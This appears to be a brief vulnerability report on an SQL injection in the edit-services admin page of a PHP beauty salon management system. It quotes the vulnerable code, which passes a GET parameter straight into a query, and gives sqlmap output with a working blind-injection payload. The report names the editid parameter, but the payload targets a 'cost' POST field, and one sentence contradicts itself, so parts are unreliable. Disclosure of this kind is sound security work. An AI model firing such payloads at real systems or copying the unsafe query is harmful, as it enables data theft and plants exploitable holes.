SQL injection vulnerability exists in editid parameter of /admin/edit-services.php file of Beauty Salon Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
 $cid=$_GET['editid'];
$ret=mysqli_query($con,"select * from  tblservices where ID='$cid'");
$cnt=1;
while ($row=mysqli_fetch_array($ret)) {
```

```
sqlmap identified the following injection point(s) with a total of 140 HTTP(s) requests:
---
Parameter: cost (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: cost=8000' AND 9494=(SELECT (CASE WHEN (9494=9494) THEN 9494 ELSE (SELECT 4697 UNION SELECT 9795) END))-- -&description=
Fixed Price&sername=Makeup&submit=
---
```

“

Parameter: cost (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: cost=8000' AND 9494=(SELECT (CASE WHEN (9494=9494) THEN 9494 ELSE (SELECT 4697 UNION SELECT 9795) END))-- -&description=Fixed Price&sername=Makeup&submit=

“

Source Download：

https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/